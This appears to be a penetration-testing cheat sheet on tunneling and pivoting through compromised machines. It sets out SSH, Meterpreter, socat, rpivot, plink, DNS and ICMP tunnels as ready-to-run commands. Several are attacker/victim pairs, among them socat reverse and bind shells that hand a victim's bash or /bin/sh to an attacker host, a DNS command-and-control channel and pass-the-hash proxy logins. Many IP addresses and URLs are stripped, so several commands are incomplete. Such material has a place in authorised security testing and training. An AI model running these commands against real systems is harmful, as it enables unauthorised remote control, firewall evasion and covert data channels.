Tunneling and Port Forwarding


SSH graphical connection (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

Open new Port in SSH Server --> Other port

ssh -R user@ #Local port 1521 accessible in port 10521 from everywhere
ssh -R user@ #Remote port 1521 accessible in port 10521 from everywhere


Local port --> Compromised host (SSH) --> Third_box:Port

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Local Port --> Compromised host(SSH) --> Wherever

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)


You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login: PermitRootLogin yes PermitTunnel yes

ssh username@server -w any:any #This wil create Tun interfaces in both devices
ip addr add peer dev tun0 #Client side VPN IP
ip addr add peer dev tun0 #Server side VPN IP

Enable forwarding in Server side

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s -o eth0 -j MASQUERADE

Set new route on client side

route add -net gw


You can tunnel via ssh all the traffic to a subnetwork through a host. Example, forwarding all the traffic going to

pip install sshuttle
sshuttle -r user@host



Local port --> Compromised host (active session) --> Third_box:Port

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

Port2hostnet (proxychains)

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 2552.55.255.0 8)
use auxiliary/server/socks4a
run #Proxy port 1080 by default
echo "socks4 1080" > /etc/proxychains.conf #Proxychains

Another way:

background #meterpreter session
use post/windows/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET
set NETMASK <Netmask>
use auxiliary/server/socks4a
run #Proxy port 1080 by default


You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp

python -p 8080 -u


Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance.

You can do port forwarding (bind & reverse), create a socks proxy (bind & reverse).

root@kali:/opt# git clone
Cloning into 'chisel'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 1151 (delta 7), reused 18 (delta 5), pack-reused 1118
Receiving objects: 100% (1151/1151), 3.31 MiB | 19.03 MiB/s, done.
Resolving deltas: 100% (416/416), done.
root@kali:/opt/chisel# ./chisel --help
Usage: chisel [command] [--help]
Version: 0.0.0-src
server - runs chisel in server mode
client - runs chisel in client mode
Read more:

Read more:


Reverse tunnel. The tunnel is started from the victim. A socks4 proxy is created on

attacker> python --server-port 9999 --server-ip --proxy-ip --proxy-port 1080
victim> python --server-ip <rpivot_server_ip> --server-port 9999

Pivot through NTLM proxy

victim> python --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45


Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane


socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &

Port2Port through socks

socat TCP-LISTEN:1234,fork,socksport=5678

Meterpreter through SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|,connect-timeout=5
#Execute the meterpreter

You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:


SSL Socat Tunnel

/bin/sh console

Create certificates in both sides: Client and Server

# Execute this commands in both sides
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Connect the local SSH port (22) to the 443 port of the attacker host

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4: ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim


It's like a console PuTTY version ( the options are very similar to a ssh client).

As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:

plink.exe -l <Our_valid_username> -pw <valid_password> -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
plink.exe -l root -pw password -R 9090: #Local port 9090 to out port 9090

NTLM proxy bypass

The previously mentioned tool: Rpivot OpenVPN can also bypass it, setting these options in the configuration file:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm


It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port. Example that forward port 443

Username Alice
Password P@ssw0rd
Tunnel 2222:<attackers_machine>:443

Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222. You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.


A reverse proxy create by Microsoft. You can find it here:

DNS Tunneling


Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.

attacker> iodined -f -c -P P@ssw0rd
victim> iodine -f -P P@ssw0rd -r
#You can see the victim at

The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:

ssh <user>@ -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080


Establishes a C&C channel through DNS. It doesn't need root privileges.

attacker> ruby ./dnscat2.rb
victim> ./dnscat2

Port forwarding with dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen, this bind 8080port in attacker host

Change proxychains DNS

Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.

Tunnels in Go

ICMP Tunneling


Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.

./hans -v -f -s -p P@ssw0rd #Start listening ( is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping #After a successful connection, the victim will be in the

Other tools to check